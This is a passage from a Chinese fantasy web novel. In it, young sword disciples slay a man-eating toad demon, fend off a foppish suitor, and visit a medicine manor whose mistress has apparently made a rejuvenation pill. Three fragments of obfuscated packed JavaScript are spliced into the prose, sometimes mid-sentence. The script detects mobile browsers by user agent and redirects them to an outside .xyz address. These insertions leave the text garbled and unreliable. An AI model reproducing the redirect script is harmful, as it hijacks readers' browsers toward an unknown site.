原来那仇天霸受了重伤，知道自己即便想跑，只怕也跑不远了。他是一只靠吸人精气来修炼的妖，自然而然地想到了用活人来为自己疗伤。方才他扔出烟雾弹，现出原形跳到了窦尽忠一行人面前，本想吃几个官兵，但见他们手中都有兵器，索性就用舌头卷了两个无法反抗的土匪送进了口中。 仇天霸变成蟾蜍降落到窦尽忠等人面前时，窦尽忠吓得魂都快飞了，也顾不得那群土匪的死活了，在士兵的掩护下连忙往后撤。而那群土匪当中，反应快胆子大的则连滚带爬地往四周逃去，但没逃几步就摔倒在地，双腿打颤动弹不得。反应慢胆子小的则直接被吓晕了过去，其中有两个运气极差的被那蟾蜍长舌一卷便吞入了口中。 倪峰亲眼目睹仇天霸的巨舌卷了他的两个弟兄送进了嘴里，并大肆咀嚼了起来，吓得浑身都湿透了。他从未见过这么大的蟾蜍，和这么长这么宽的舌头，都快赶上大象了！ 太可怕了！他这大哥以前到底吃了多少活人才能变得这么高这么宽？还好他反应快跑得也快，不然早没命了。 仇天霸吃完人后，舔了舔自己唇边的血，又变成了人形。他一边往后退，一边狞笑着看着面前惊怒交加的五位少年，舌头一伸，一副回味悠长的模样。 五个人这才发现，他身上的血窟窿已好得七七八八了。 原来他吃人是为了给自己疗伤！ “岂有此理！”洛纤凝早已气得咬紧了牙根，握紧凌云剑就朝仇天霸刺了过去，“你这吃人的妖怪！看我洛女侠今天不除了你！！” 仇天霸才刚缓了口气，补充了一下体力，就看见那五个人又朝自己砍了过来。他知道自己不是那五个人的对手，于是狼牙棒一挥，转身就往山上跑，没跑几步，又现出了原形。 狂风骤起，周围的树木被吹得哗哗作响，翠绿又宽阔的山道上，五个人追着一只巨大的蟾蜍就开始跑，偏偏那蟾蜍太能跑了，后腿一蹬，就能跳出十余丈远。 五个人不甘落后，施展轻功朝半空中跃去，并掷出手中的长剑，朝那蟾蜍刺去。一道又一道的剑光闪过，很快，那蟾蜍的后腿就被一柄锋利的长剑给划伤了。 仇天霸跪倒在地，握着手中的狼牙棒，呼呼地喘着大气。五个人冲上来将他团团围住，洛纤凝站在他的身侧，用剑指着他，厉声道:“妖怪！看你这回往哪里跑！” 仇天霸扭头看向洛纤凝，忽然笑了起来。他本就生得丑陋，一张脸上不是麻子就是黑痣，此刻一笑，更显得阴森诡异，无比骇人。 洛纤凝不明白他在笑什么，而且还是对着她一个人笑，真是好生奇怪。她露出了厌恶的表情，斥道:“喂！你这妖怪，都快死了还笑得出来！识相的话赶紧自我了断吧！不要逼我们动手！” 仇天霸憋了半天，最后憋出了六个字:“以多欺少，无耻！” “呵！”沐灵泽被这妖怪给气笑了，“你这妖怪还知道什么叫以多欺少呢？那你知不知道什么叫恃强凌弱？！” “就是！”沐辰风双眼瞪得圆溜溜的，难得正经道，“你刚才吃人的时候怎么不觉得自己恃强凌弱？现在反倒责怪我们以多欺少？真是可笑！” “我吃人……也是迫不得已。”仇天霸为自己狡辩了起来。 “迫不得已？”柳惜朝浓眉倒竖，怒道:“迫不得已就可以吃人？你修为如此强悍，可见平时没少吸活人的精气！是与不是？！” “我为什么会变成这样？还不都是因为你们这些自视清高的人！”仇天霸忽然嘶声大吼了起来，抡起狼牙棒就朝洛纤凝挥了过来，“尤其是你们女人，没有一个是好……东……西！” 洛纤凝连忙后退两步躲了过去，正欲反击，一柄长剑就已先她一步贯穿了仇天霸的心窝，滴着血的剑尖正好指向她的面颊。 林惜英抽出绝尘剑，用手帕拭去上面的血，收剑归鞘，神色平静道:“找死。” 仇天霸双膝落地，狼牙棒掉落一旁，他已无力再拾起，一边落泪一边咳血，好不凄惨。 洛纤凝惊魂未定，但想到仇天霸方才的话，忍不住道:“你方才说谁不是好东西？有本事你再说一遍！” 仇天霸吐出口中的血沫，抬起头望着洛纤凝，一字一字道:“我、说、你、们、女、人、没、有、一、个、是、好、东、西！” “……” 洛纤凝眉头皱了又皱，最终道:“我们女人招你惹你了？你才不是好东西！你全家都不是好东西！”骂完之后又觉得不对劲，好奇道:“莫非你被女人给骗了？” 啥样的女人跑去骗他啊？真是不挑啊，要骗也骗个好看的呀！ 仇天霸道:“十年前，我娘子……也与你一样，活泼……天真，你们长得……真像。” “……什么？！”最后两个字落地，洛纤凝仿佛白日见鬼一般，惊叫出声，并朝后跳了一步，道:“你娘子长得像我？那没道理眼光这么差呀！不对，那你娘子人呢？” “她……死了。” “怎么死的？” “她不和别人一样嫌弃我丑，可她却嫌弃我是妖！说什么人妖殊途，要离开我！可是我怎么能眼睁睁地看着她离开我？！所以……所以我就把她……杀了！”仇天霸说罢便疯狂地大笑了起来，也不知道在笑什么，整个人疯疯癫癫的，像极了一个考了几十年才考上举人的书生。 洛纤凝的脸一下子就变白了，良久之后，她抬起脚朝仇天霸踹了过去，指着他的鼻子骂道:“你这妖怪，真是歹毒至极！亲手杀了你娘子，竟还笑得出来！” “是她先抛弃的我！”仇天霸仰面躺在地上，嘶声裂肺地吼道，“是她把我变成了今天这个样子！给了我希望，又让我失望，是她……” “是你自己把自己变成了这个样子！”柳惜朝怒喝道，“你娘子不嫌弃你丑，可见她生性善良宽厚，而你竟……你可知人无完人？你是妖，她害怕你，想离开你，也是情有可原！而你却直接取了她的性命！真是死有余辜！”说罢举起手中的涤恶剑，一剑斩了下去。 鲜血瞬间溅了一地，几个人登时一怔。 柳惜朝收剑归鞘，转过身去:“我们走吧！” 风渐渐的小了下来，道旁的树叶轻轻摇曳着，五个人沿着山道一路往下，与窦尽忠等人会合。 山下，窦季延伸长脖子眺望着，见窦尽忠一行人押着一群土匪下了山，高兴得一蹦三尺高，撒腿就跑了过去，一边跑一边喊道:“爹！你们回来啦！” 窦尽忠大笑着拍了拍窦季延的肩膀:“回来了，走，我们回去好好庆祝一下！” 回城途中，仍旧是洛纤凝、林惜英、窦季延三人同乘一辆马车。 车厢内，窦季延的眼珠子不再盯着林惜英看，而是盯着洛纤凝看了起来。 洛纤凝如何能没有察觉，恶狠狠地瞪着他，扬声道:“看什么呢？！贼眉鼠眼的，又想干什么坏事？！” 窦季延也不生气，反而嘻嘻一笑，问道:“洛姑娘，你们什么时候离开黍州啊？我送送你们呗。” “你？送我们？”洛纤凝觉得这人真是转性了，不屑地别过脸去，“黄鼠狼给鸡拜年，没安好心！” 窦季延吃了个瘪，只好又去看林惜英:“林姑娘，你们什么时候走啊？” 然而林惜英依旧闭着眼睛，半晌都未曾搭理他，像是根本没听见他的话。随着马车的颠簸，她的身躯微微摇晃着，搁在膝盖上的两只手，一只微微放松，另一只则紧紧地攥着掌中的剑，手背青筋凸起，身板也挺得笔直，整个人简直像极了一根绷紧了的弦，一副随时欲拔剑砍人的架势，让人愈发不敢靠近了。 这坐姿，不知道的还以为她是皇帝，而他和洛纤凝则是她御前的大太监和大侍卫。 呸！他怎么可能会是太监！话说这女人真是岂有此理，一上来就坐在最中间的位置，这分明是他的位置！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826662|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一点礼数都不懂的家伙！ “闭嘴，再吵把你踹下去。”似乎是累了，洛纤凝也闭上了眼睛，随意将凌云剑往怀里一抱，同时往后一靠，对窦季延说道。 窦季延回过神来:“你敢！” 洛纤凝睁开眼睛:“你看我敢不敢！” 窦季延:“……” 罢了，这个疯女人，什么事干不出来。 两个人面对面坐着，中间位置则坐着林惜英。林惜英一没事干，就闭目养神，他二人的话她都听到了，但，与她关系不大，不必理会。 日落月悬，城守府一片热闹景象，众人觥筹交错，好不快意。宴会进行到一半时，洛纤凝拉着林惜英偷偷溜了出来，美其名曰:参观一下城守府。 两个人一会儿东瞅一下，一会儿西瞅一下，一会儿围着假山跑，一会儿又围着池塘跑，边跑边发自肺腑地感慨道:“城守府可真大啊……” 最后，两个人站在池塘边欣赏起了月色。洛纤凝唇角高高扬起，颇为惬意道:“师姐你看，今晚的月亮真好看。” 林惜英微微一笑，正要点头称是，忽然，旁边的旁边窜出了一个人影，那人影摇着扇子站在洛纤凝的身旁，腰背挺得笔直，仰头望着天空，装模作样地感叹道:“是啊，今晚的月色可真美啊！此情此景，应当吟诗一首，作画一幅……” 洛纤凝:“……” 林惜英:“……” 两个人斜着眼睛看着窦季延，如同在看一个傻子，片刻后，洛纤凝拉着林惜英就走:“别理他师姐，走，我们去那边。” “哎哎哎，别走啊你们！”窦季延忙不迭追了过去，面对面瞧着二人，一边摇着扇子往后退，一边嬉皮笑脸地问道:“二位怎么这么早就离席了？可是吃得不尽兴？又或是……” 洛纤凝刹住脚步，朝他吼道:“有话快说！不说滚蛋！” 窦季延脚步一顿，扇子一合，道:“那我就直说了。” 皎洁的月光下，他挪动脚步来到洛纤凝的正对面，一本正经地望着眼前十二分不耐烦的少女，深吸一口气，道:“洛姑娘，我喜欢你，我想娶你。” 洛纤凝:“……” 他没事吧？ 林惜英:“……” 他有病吧？ 良久之后，洛纤凝伸出手，一把将林惜英拽了过来，自己则站在了林惜英方才的位置上，调整了一下呼吸，这才看向窦季延，微微一笑，道:“你喊错名字认错人了吧？来，重说一遍。” 林惜英:“……” 窦季延只好提高声音道:“我没有喊错名字！也没有认错人！洛纤凝！我说！我喜欢你！我想娶你！我方才听你们大师兄说，你们明天就要走了，我觉得我要是再不说的话，以后可能就没机会说了。”说着说着，又摇起了扇子，一副吊儿郎当谁都配不上他的样子，“虽然你这个人野蛮了一点，不讲道理了一点，还喜欢动手打人，长得也一般般，但，本公子都可以忽略。你不必太过感动，没办法，本公子这个人呢，向来就是这般的……” 啪！！ 正自我感动得紧，就挨了一个结结实实的耳光。 窦季延:“……洛纤凝！你又打我！！” “我打的就是你！”洛纤凝双手叉腰，怒发冲冠道，“你没事儿吧大哥？你有病吧？！你也不照照镜子看看你自己长什么样！还好意思嫌弃我！你这个死斗鸡眼臭癞蛤蟆！你扪心自问，你浑身上下到底哪一点能配得上冰清玉洁冰雪聪明善良又正义的的我？！滚！马上消失在我面前！否则姑奶奶我现在就削了你！！”说着便将凌云剑横在了自己身前，“噌”的一声亮出了一半的剑身。 窦季延浑身一抖，捂着脸道:“洛纤凝！你这个疯女人！小心以后嫁不出去！！” “我谢谢你！我一点都不想嫁出去！！” “你你你……哇！我要告诉我爹去，你欺负我！爹……” 洛纤凝收剑归鞘，瞪着窦季延左摇右晃的背影，啐道:“有病！” 林惜英:“……” 聒噪，真是太聒噪了。 与此同时，不远处的假山后，两个脑袋依次冒了出来。 沐辰风道:“他们干嘛呢？那个斗鸡眼怎么捂着脸跑了？莫非又挨洛纤凝的打了？” 沐灵泽道:“不知道，但，肯定是那个斗鸡眼的错！打得好！揍他！” 沐辰风:“……” 25. 人间13 到了第二日，五个人吃完早饭，收拾好包袱便出了城，城外，钟思遥、窦尽忠、窦季延等人特地前来相送。 钟思遥做了五个精致的荷包，挨个送到了五个人的手上，轮到柳惜朝的时候，眼神格外的不舍，但最终却什么都没有说，只道了声感谢。 本来她还准备了一些银钱，但柳惜朝说什么都不愿收，钟思遥只好作罢。 洛纤凝瞥了眼躲在窦尽忠身后捂着脸瞪着她的窦季延，心想他还挺厚道的，都恨她恨成这样了还不忘来送她。 无妨，就让他恨去吧！ 柳惜朝又上前与窦尽忠客气了两句，这才带着师妹师弟们昂首离去。 路上，洛纤凝讲起了昨夜窦季延跟自己表白的事。由于昨夜她太过气愤，因此此事除了林惜英，其他三人均不知晓。 沐灵泽听罢后，大惊:“什么？！那个死斗鸡眼他喜欢你？！他不是喜欢林师姐么？！而且昨夜我问你的时候，你可不是这么说的！” 昨夜他溜过去问洛纤凝为何对窦季延动手，洛纤凝的回答是:“没什么，看他不顺眼！” 他还以为是那个斗鸡眼又想打林师姐的主意，便没再多问，谁知那死斗鸡眼竟然将主意打到了洛纤凝的身上！ 这还了得！早知如此，他方才就狠狠地揍他一顿再走了！ 虽然那个窦季延长得不怎么样，人也不怎么样，但洛纤凝还是忍不住想在众人面前炫耀一番。她一甩头发，得意洋洋道:“唉，没办法，我这个人就是这么有魅力，即便没有绝世的容颜，也一样有一大群人喜欢，嘻嘻。” 林惜英:“……” 柳惜朝:“……” 沐辰风拍腿大笑道:“哈哈哈哈！洛纤凝你……还是一如既往的……啊哈哈哈哈……笑死我了……” 沐灵泽则嗤笑一声，道:“得了吧，也就一个，还是个纨绔。” 洛纤凝:“……沐灵泽！我掐死你！！” 柳惜朝伸手将洛纤凝拨去一边，正色道:“别闹了你们两个，都给我好好走路，再吵都给我回长绝山去！” 洛纤凝只好作罢，哼了一声，道:“好女不跟男斗，不跟你计较了！” 行出百余步，正走得好好的，忽然，窦季延那不知死活的声音又飘了过来:“洛纤凝！以后嫁不出去！记得回来找本公子！本公子给你留一个位置！！” 几个人瞬间脚步一顿。 洛纤凝气得牙痒痒，二话不说拔剑就朝窦季延走了过去，步伐快如闪电:“我嫁你大爷！！你个死斗鸡眼臭癞蛤蟆！又想挨打了是吧？！看我今天不削了你的皮！！” 窦季延登时吓得魂飞魄散，拔腿就跑，边跑边道:“王不俗沙不死！快！拦住这个疯女人！本公子先行一步！” 其余四人:“……” 柳惜朝甚是无语道:“我们走吧，她自己会追过来的。” 此时已至夏日，南国上下一片燥热，五个人行了一路，已是热得满头大汗。 洛纤凝靠在一棵树上，用不知道从哪儿揪来的一片巴掌大的树叶扇着凉凉，一边扇，一边抱怨道:“好毒的太阳啊，真是热死本少侠了。”又问柳惜朝:“大师兄，我们这是要去哪儿啊？” 沐灵泽凑了过来，笑嘻嘻道:“给我也扇扇呗。” 沐辰风:“我也要！” 洛纤凝一把推开他们:“闪一边去！我这树叶总共就这么大，给你们俩扇，我扇什么？再说了，你们俩脸那么大，把我的树叶扇坏了怎么办？” 沐灵泽:“……小气。” 沐辰风:“就是，人家的脸哪里大了？明明这么小。” 柳惜朝仿佛没听见几个人的对话，望着蓝蓝的天空，道:“此处离乌县不远，我突然想起来，我在那里有一个熟人，不如我们就去乌县吧。” 听到“熟人”二字，洛纤凝立马精神一振，一个箭步抢上前去，问道:“什么熟人？男的女的？多大年纪？” 柳惜朝瞪她一眼，道:“男的，比我稍小一些。他是百草山庄的少庄主，姓杨，名冲。算起来我们已有两年未见了，若非今日途径此处，我险些都要忘记他了，真是惭愧。” “男的啊。”洛纤凝有些失落，又问:“百草山庄？那是什么地方？” 柳惜朝道:“百草山庄，位于乌县城外的一座深山中，历代庄主精通岐黄之术，山庄内种有许多名贵的药材。有一年乌县突发瘟疫，是百草山庄炼制出了治疗瘟疫的丹药，救治了城中百姓。从那以后，无论百姓还是官府，都对其称赞有加。不仅如此，穷苦百姓若是生病上山求药，百草山庄向来是分文不取。” “那这百草山庄，可真是百姓的福音呢！”洛纤凝惊叹道。 “谁说不是呢。”说到此处，柳惜朝眼里忽然闪过一丝惋惜，“只可惜，自从十几年前百草山庄的上一任庄主离世后，百草山庄便不似以往那般，以救死扶伤为己任，而是开始炼制各种稀奇古怪的丹药，比如驻颜丹什么的……” “驻颜丹？”洛纤凝瞪大眼睛道，“那是什么东西？” “就是一种能让人永葆青春的丹药。” “什么？！”这下不只洛纤凝惊讶了，沐灵泽和沐辰风也凑了过来，好奇地望着柳惜朝。 沐灵泽道:“真的假的？大师兄，这世上真的有这种药？” 沐辰风道:“是那种吃了之后不会老不会长皱纹的药么？” 柳惜朝瞥了他们一眼，道:“这我也不知，两年前我离开百草山庄时，他们尚未炼制出此药。” “……” 沐辰风翻了个白眼，转去了一旁。 沐灵泽支着下巴道:“那如今的百草山庄，庄主是何人？” 柳惜朝道:“是上一任庄主的妻子，也是我那位朋友的母亲，姓温，名叫温染。” “那我们快走吧大师兄！”洛纤凝兴奋地跳了起来，又折回去拉林惜英，“师姐，别睡了，要上路了！” 林惜英:“……” 谁睡了？她只不过是在闭目养神罢了。她站起身，掸了掸身上的尘土，看见方才还雀跃无比的洛纤凝，此刻却捂着肚子道:“哎呀，饿了，大师兄，我们先找点吃的垫垫肚子，明天再赶路吧，这都走了快一天了。” 柳惜朝大约也是饿了，点了点头，道:“这附近有河流声，我们往前再走走，今晚就吃鱼吧。” “好耶！”洛纤凝拽着林惜英的胳膊就往前跑，“好久没吃鱼了，走，师姐，我们吃鱼去！” 待到了河边，洛纤凝兴冲冲道:“看我用法术给咱们炸几条大肥鱼出来！” 说着就要施法，却听一旁的沐灵泽悠悠然道:“用法术多没意思，有本事我们去河里用手抓，看谁抓得多！” 洛纤凝从他的话里听出了一丝挑衅的味道，抱着胳膊道:“好啊，用手就用手，谁怕谁！” 沐辰风此时也跑了过来，听见两人的对话，语气颇为傲慢道:“那你可绝不是我和阿泽的对手，我们两个以前经常在河里摸鱼！” “那又怎样？！”洛纤凝双手叉腰冲他吼道，“不就是捉条鱼么，有什么难的？还能比捉妖怪难？” 三个人说干就干，解掉佩剑，甩掉靴子，挽起袖子和裤腿，扑通一声就跳进了河里，弯下腰开始四处摸寻。 柳惜朝在岸上看着，扭头对林惜英道:“我看他们三个就够了，用不着咱们两个。惜英，不如我们去找些树枝什么的，一会儿也好生火。” 林惜英:“好。” 两个人掉头走进林中，随意捡了些树枝出来，一切准备就绪，然而鱼却没有一条。 “我抓到啦！”就在此时，洛纤凝欢快的声音直冲几个人的脑门。几个人抬头望去，只见洛纤凝正抓着一条活蹦乱跳的鱼在手里掂量，一边掂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而只泼了这一下，他就不敢泼了，因为他忽然想起了林惜英将那姓项的土匪一剑封喉的一幕，又见林惜英双目紧闭，别过脸去，神色不明，便更害怕了。 恰在此时，洛纤凝大叫道:“好你个沐辰风！竟敢欺负我师姐！看我不泼死你！”说话间已追着沐辰风跑了起来，将河水往他脸上泼。 沐辰风拔足狂奔，带起一圈涟漪:“阿阿阿……阿泽帮我！” 沐灵泽飞奔而来:“来了来了！洛纤凝！看招！” 三个人在河里追来跑去，往彼此的脸上泼水，洛纤凝一个人当然泼不过两个，拉着林惜英道:“师姐帮我！” 林惜英整日一副端庄优雅的模样，哪里玩过这些，但又不忍心洛纤凝以一敌二，犹豫再三，果断加入了战斗。 几个人泼来泼去，好不快活，只有柳惜朝一个人在认真摸鱼，却无端被溅了一身的水。他受不了了，面朝四人，大声喝道:“你们几个别闹了！我现在浑身都是水！说好的捉鱼吃，你们还捉不捉了？！” 然而几个人理都未理他，自顾自玩着泼水游戏，肆无忌惮地从他面前掠过。他还想再说些什么，怎料才刚一张口，就瞥见林惜英玩得不亦乐乎，竟连笑容都露了出来…… 他登时看得眼睛都直了。 天知道他有多久没看见林惜英笑了，遂低声道:“罢了，只要惜英开兴就好。” 话音刚落，就听沐辰风惊呼道:“你们看！林师姐是不是在笑？！” 洛纤凝伸手泼了他一脸水，朝他吼道:“你大惊小怪什么？我师姐又不是僵尸！当然会笑了！” “可是我之前从来没有见过唉！” 几个人又是一阵嬉闹，这才依依不舍地上了岸，换了身干净的衣服后，聚在火堆旁烤起了鱼。 此时夕阳西下，落日的余晖正好洒在河边，五个人各自捧着一条看起来香喷喷但实际上却没有什么味道的鱼，一边啃，一边感慨道:“好美的落日啊……” 26. 人间14 正如柳惜朝所说，百草山庄坐落于乌县城外的一座深山之中。 不同于长绝山的巍峨及威严，此山较为低矮，约莫百余米高，山壁平坦，坡势缓和，山脚下有一泓清泉，阳光洒在水面上，碎成一片晃眼的金斑。偶尔有山风掠过，带着草木的清气，吹得山坡上的野花轻轻摇晃。 五个人穿行在宽阔的山道上，不多时便来到了刻着“百草山庄”四个大字的山门之下。 守门的是两名男弟子，见到柳惜朝一行人，正欲开口询问来处，柳惜朝便已迈上前来，自报家门道:“在下长绝山柳惜朝，前来探望贵派少主，劳烦两位通传一声。” 两名男弟子面面相觑了一眼，似乎觉得这名字很是耳熟，但又不敢确认，少顷，其中一名道:“请诸位稍等片刻，我去知会我家少主一声。” 等待的过程很是无聊，洛纤凝和沐灵泽、沐辰风三人一会儿左看看，一会儿右看看，最后齐刷刷地看向那石阶尽头，迫不及待地想见见这位少庄主的模样。 听大师兄说，这百草山庄的庄主可是一位如花似玉的大美人，因此生下的儿子也是无比的英俊。 五个人在山门外等了大约半盏茶的功夫，果然见一个气宇轩昂的年轻男子迈下石阶，朝他们飞奔而来。 此男子大致弱冠之年，肤色偏黑，容貌却是极其英俊，身形与柳惜朝相仿，既不魁梧，也不瘦削，看起来嗓门很大、很有力气的样子。 看得出来，他很高兴他们几个的到来。 “柳兄！一别经年，你可终于想起我来了！”说话间，年轻男子已奔上前来，搂住了柳惜朝的肩膀，眼角眉梢掩不住的欢喜。 柳惜朝亦欢喜道:“哪有？分明才两年。” 二人寒暄了几句后，杨冲这才看向其余四人，一双眼睛直勾勾地盯着林惜英，问道:“这几位是？” 柳惜朝便为他详细地介绍了起来:“这两位是和我一起长大的师妹，洛纤凝，林惜英。这两位是西祁碧落门门主之弟，沐灵泽，沐辰风，前段时间来我们长绝山学艺，不过已然离开。此次我与两位师妹下山游历，正好和他们顺路，索性就一起了。” 柳惜朝每说一句，杨冲就点一下头，然而眼睛却眨也不眨，只顾着瞅林惜英，等柳惜朝介绍完毕后，他急急忙忙地问道:“柳兄，你怎么从来没跟我提起过，你还有一个这么漂亮的师妹？我的天呐，我长这么大，还是头一次看见比我娘还貌美的女子。” 柳惜朝失笑道:“好端端的，我提这事做什么？再说了，你也没问过……” 话未说完，忽见杨冲摇了摇脑袋，一脸认真道:“不过我还是觉得我娘最好看！柳兄，你觉得呢？” 柳惜朝:“……” 其余四人:“……” 洛纤凝翻了个白眼，心道:“这话说的好生矛盾，一会儿说比自己的母亲好看，一会儿又说自己的母亲最好看。不过也正常，毕竟在子女心中，自己的母亲才应当是天底下最好看的女子，就像在我心中，师姐才是这天底下最好看的女子！” 五个人齐齐翻了个白眼后，柳惜朝道:“我觉得都……” “好看”这两个字还未吐出口，就被林惜英平淡且从容的声音打断:“世间之人各有各的好看，貌美者未必心美，貌丑者未必心丑，又何必放在一处比较？” 杨冲听见此话，又将目光放在了林惜英的身上，眼里闪过一丝崇敬。片刻后，他深以为然地点了点头，一掌拍在柳惜朝的肩膀上，郑重其事道:“林姑娘说得对！是我狭隘了！我这人一向心直口快，想到什么便说什么，林姑娘莫要与我一般计较。”又看了眼洛、沐三人，道:“以后你们叫我杨大哥就好！来了我百草山庄，保管你们吃好喝好玩好！” “那就谢过杨大哥了！”洛纤凝和沐灵泽齐声道。 五个人踏上石阶，随杨冲一起往山上走去，一路上，奇花异石随处可见，泠泠淙淙的泉水自脚下而过，道旁的树木高大而又鲜绿，自山腰至山顶，每一座殿宇皆是富丽堂皇，美而壮观，堪比话本里的皇宫。 几个人边走边感叹。 洛纤凝道:“这地方竟然和咱们长绝山一样美，真是岂有此理。” 沐辰风道:“这地方竟然比我们碧落门还要美，真是岂有此理。” “得了吧，”洛纤凝奚落他道，“就你们碧落门那巴掌大点地方，还没我们长绝山一半美。” 这一路走来，她早就摸清了他二人的底细，原来是碧落门掌门之弟，怪不得功夫这么好。据说碧落门的掌门名唤沐嫣然，是个功夫和品貌皆是上上乘的女子，十五岁便继承了父亲的门主之位，哪里有妖怪，她就去哪里，可谓逢妖必出，也不管那妖是好是坏，拔剑就是一顿削。时人有云:“碧霄剑出，妖邪四散。”这当中的碧霄剑，便是指沐嫣然的佩剑。 听见洛纤凝说碧落门不好，沐辰风急赤白脸地争辩道:“我们碧落门小是小了点，但我们建在闹市，出了门就能看到人，想吃什么即刻就能吃到，想什么时候出门，就什么时候出门，还没有那么多破规矩和那么多勾心斗角！你们长绝山是这样么？！” 这话正好戳中了洛纤凝的痛处，她张牙舞爪地朝沐辰风扑了过去:“你说谁勾心斗角呢？！我们长绝山除了夏长殷那个小人，哪还有勾心斗角？！敢胡说八道败坏我们长绝山的清誉，看我不掐死你！” 沐灵泽一边叹气，一边手忙脚乱地挡在两个人中间劝道:“都美，都美，各有各的美，你们两个不要争了，怎么说也是在别人的地盘上，闹起来多不好看……” 柳惜朝也道:“沐师弟说得是，你们两个在外面这样也就罢了，怎么到别人家里做客也这样？”又看向杨冲，不好意思地解释道:“杨兄，我师妹和师弟年纪小不懂事，你可千万不要介意……” 却不料杨冲竟哈哈大笑了起来，一只胳膊搭在柳惜朝肩上，冲几人笑道:“我倒觉得，洛姑娘和这两位小兄弟很是有趣，回头也逗逗我娘和辛姐姐她们……” 一语未了，便听前方传来一道妩媚柔软又不失端庄的声音:“冲儿！怎的这次竟带了这许多人回来？竟还有姑娘？” 五个人停下脚步，循声望去，只见不远处的厅堂内，一前一后走出两名女子来，似是一对姐妹。走在前的女子较为年长，柳眉凤目，蜂腰削背，笑容满面，仪态万方，看起来不到三十岁的模样，生得那叫一个明艳动人，不可方物，配上她那一身尤为鲜艳的紫衣，更显矜贵优雅。 另一位年纪稍小一些，大约二十岁出头的样子，虽容貌一般，但五官却极为端正锋利，目光森冷，双唇薄而笔直，一身黑衣劲装，腰间悬着一柄软剑，像极了话本里的女杀手。 几个人观察之际，为首的那女子已走上前来，杨冲开口唤道:“娘！这几位是柳兄的……” “娘？！”听见杨冲唤此人娘，除柳惜朝和林惜英外，其余三个人皆是吃了一惊。洛纤凝更是惊讶地喊出了声，面朝杨冲问道:“杨大哥，这是……你娘？你确定这不是你姐姐？” 她还以为这两名女子都是杨冲的姐姐，谁料其中一位竟然是他娘！这也太年轻了吧？那另一位该不会是他的姨母吧？ 柳惜朝也很是困惑，明明两年前他来这里做客的时候，温染还没有这么年轻，只能说比一般四十多岁的女子年轻一些，看起来像三十多岁，现在倒好，看起来像二十多岁，都快赶上闻辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003150|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 莫非她的驻颜丹炼成了？这世上竟真的有这种东西，竟能让人年轻二十岁？ 不等杨冲回答，那明艳女子便掩唇大笑了起来，一双漂亮的丹凤眼盯着洛纤凝，上下打量道:“这位小姑娘的嘴巴真甜，人也生得好看，我喜欢！”又扫了一眼一旁的林惜英和沐氏两兄弟，问柳惜朝:“想必这几位与柳公子一样，也是长绝山的弟子吧？” 柳惜朝颔首道:“正是。此次带我这几位师妹和师弟下山历练，正好途径此处，遂上门拜访，若有冒昧打扰之处，还望庄主见谅。” “柳公子何出此言？”温染十分大方道，“来者是客，更何况你与冲儿已多年未见，谈何打扰？只管像在自己家一样就好。” 柳惜朝道了声谢。 杨冲指着洛纤凝等人，对温染道:“娘，辛姐姐，这两位是洛纤凝洛姑娘，林惜英林姑娘，那两位弟弟，一个叫沐辰风，一个叫沐灵泽。”又指着闻辛道:“这位是我娘的义女，闻辛，比柳兄还年长一些。你们与我一样，唤她辛姐姐便好。” 洛纤凝和沐氏两兄弟齐声唤道:“辛姐姐好！” 闻辛本是不苟言笑之人，然有客人来，总不好拉着一张脸，只好使劲扯了扯嘴角，道:“几位弟弟妹妹好。” 介绍完毕，杨冲转向五人，道:“走，柳兄，洛姑娘，我带你们去看你们的房间！” 洛纤凝被温染方才的话夸得喜不自胜，走了没几步，就对林惜英道:“师姐，你听见没？温庄主方才夸我长得好看！” 林惜英还未作回答，一盆冷水就兜头浇下:“人家随口一说而已，你还真当真了。” “……沐灵泽！我掐死你！！” “都别闹了！”柳惜朝一把揪住洛纤凝的后领，问杨冲:“杨兄，我瞧着令堂比两年前年轻了许多，莫非令堂当真炼成了驻颜丹？” 所有人都被柳惜朝的话吸引了注意力，不自觉地放慢了脚步，聚精会神地盯着杨冲，一门心思扑在了驻颜丹上。 只见杨冲眉眼之间闪过一丝骄傲，道:“不错！我做梦都没有想到，我娘竟然真的能炼成了这玩意，吞下去直接年轻二十岁！怎么样柳兄，我娘是不是很厉害？” “……确实厉害。”柳惜朝还是觉得不可思议。 沐辰风似乎对驻颜丹极有兴趣，两眼放光道:“那这个驻颜丹是怎么炼成的？可以卖给我们一颗么？” “怎么炼成的？”杨冲若有所思道，“说实话，我也不清楚，我对炼丹一事毫无兴趣，也毫无天赋，而且我娘她不允许我进炼丹房。至于能否卖给你们，这得问我娘，我娘说了，驻颜丹所需药材十分珍贵，因此极难炼成，一个月拢共也就炼成那么一两颗，两三颗，除非达官显贵，一般人是用不起的。所以我劝你们还是别买了，多浪费钱啊，是不？” 洛纤凝和沐灵泽点头如捣蒜。 确实，这东西每个月都需服用，且极其昂贵，这谁吃得起啊？ 见沐辰风很是失落，沐灵泽觉得奇怪:“你怎么对驻颜丹这么感兴趣？难不成你真的想买？” 